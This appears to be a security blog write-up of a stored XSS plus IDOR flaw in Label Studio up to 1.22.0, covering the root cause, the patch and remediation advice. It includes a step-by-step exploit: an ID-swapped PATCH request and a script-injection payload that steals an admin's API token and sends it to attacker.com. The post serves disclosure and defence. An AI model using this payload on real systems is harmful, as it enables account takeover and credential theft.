Feb 21, 2026·6 min read·6 visits
Label Studio versions <= 1.22.0 are vulnerable to Stored XSS via the 'custom_hotkeys' user profile field. Due to an IDOR in the user update API, an attacker can modify *any* user's hotkeys. By injecting a payload containing specific HTML closing tags, the attacker can break out of the JSON context in the browser and execute arbitrary JavaScript when the victim loads the application.
A textbook example of how a 'convenient' feature implementation can lead to total system compromise. HumanSignal's Label Studio, a widely used data labeling tool for machine learning pipelines, contained a critical Stored Cross-Site Scripting (XSS) vulnerability chained with an Insecure Direct Object Reference (IDOR). This combination allowed unprivileged attackers to inject malicious JavaScript into the profiles of administrators, leading to account takeover and potential ML dataset poisoning.
In the gold rush of 2026, every company is an 'AI company,' and every AI company needs data labeling. Enter Label Studio: the open-source darling of the MLOps world. It allows teams to annotate images, audio, and text to train models. It is often deployed internally, filled with sensitive datasets, and then promptly forgotten about by the security team.
But here's the thing about internal tools: they often prioritize functionality over fortitude. The developers assume that 'only trusted users' will have access. That assumption is the bread and butter of exploit developers.
CVE-2026-22033 isn't just a simple bug; it's a architectural lesson in why you shouldn't trust your own database. The vulnerability resides in how Label Studio handles user preferences—specifically, custom hotkeys. It turns out, the way the application renders these preferences to the frontend created a perfect storm for Stored XSS. And, thanks to a bonus IDOR vulnerability, you don't even need to trick a user into clicking a link. You can just overwrite their settings and wait for them to log in.
The root cause of this vulnerability is a classic disconnect between data serialization (JSON) and the context in which it is rendered (HTML). The developers wanted to pass the user's custom hotkey configuration from the Python backend (Django) to the React frontend. To do this, they dumped the JSON directly into a <script> tag in the base HTML template.
Here is the fatal mistake: they assumed that json.dumps was sufficient to sanitize the data. While json.dumps ensures that the output is valid JSON, it does not care about HTML context. Specifically, it does not escape the characters < or >.
When a browser parses HTML, it doesn't care if it's currently inside a JavaScript string. If it sees the sequence </script>, it immediately terminates the script block. This is HTML parsing 101, yet it bites developers time and time again. By injecting </script><script>..., an attacker can close the legitimate script block and open a new one, executing arbitrary code.
Let's look at the crime scene in label_studio/templates/base.html. This is where the backend hands off data to the frontend.
The Vulnerable Code:
<!-- The |safe filter is the smoking gun here -->
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};The |safe filter is Django's way of saying, "I trust this data, don't auto-escape it." The developers likely added this because auto-escaping would turn the JSON quotes into ", breaking the JavaScript syntax. They traded security for convenience.
The Fix (Commit ea2462bf042bbf370b79445d02a205fbe547b505):
The patch introduces a new filter, escape_lt_gt, which specifically targets the HTML-breaking characters before marking the string as safe.
<!-- Now with 100% more escaping -->
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|escape_lt_gt|safe }};This simple change ensures that if an attacker injects </script>, it gets rendered as \u003c/script\u003e (or similar encoding), keeping it safely inside the string literal.
Now for the fun part. If this were just a Stored XSS in my own profile, it would be a low-severity "Self-XSS." I'd have to social engineer you into logging into my account. But CVE-2026-22033 comes with a sidecar: an Insecure Direct Object Reference (IDOR) in the User API.
Step 1: The Setup
We authenticate as a low-level user. We inspect the network traffic when we update our profile and see a request to PATCH /api/users/1337/. Naturally, we change the ID to 1 (usually the admin).
Step 2: The Injection
We craft a malicious JSON payload for the custom_hotkeys field. We aren't setting a hotkey for "Save"; we are setting a hotkey for "Pwn".
{
"custom_hotkeys": {
"pwn": "</script><script>fetch('/api/current-user/token').then(r=>r.json()).then(d=>fetch('https://attacker.com/?token='+d.token))</script>"
}
}Step 3: Execution
We send the PATCH request. The server accepts it because of the IDOR. The database now stores this payload in the Admin's profile.
When the Admin logs in next, base.html renders. The browser parses the variable assignment, hits the </script>, closes the block, and immediately executes our token-stealing fetch. We now have the Admin's API token. Game over.
Why is this scary? It's not just about popping an alert box. In a Machine Learning context, integrity is everything.
If you are running Label Studio <= 1.22.0, you are sitting on a ticking time bomb. The remediation is straightforward.
Immediate Actions:
user_profile table (or equivalent) to check the custom_hotkeys column. Look for <script>, onload, onerror, or any other HTML tags. If you find them, assume compromise.Developer Lesson:
Never, ever, ever use |safe (or dangerouslySetInnerHTML in React) unless you have personally vetted the data flow and applied context-aware escaping. json.dumps is for machines, not for HTML parsers.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Label Studio HumanSignal | <= 1.22.0 | 1.22.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (XSS) & CWE-284 (IDOR) |
| CVSS v4.0 | 8.6 (High) |
| Attack Vector | Network (Authenticated) |
| Impact | Account Takeover / Data Manipulation |
| Exploit Status | PoC Available |
| EPSS Score | 0.0001 (Low Probability) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')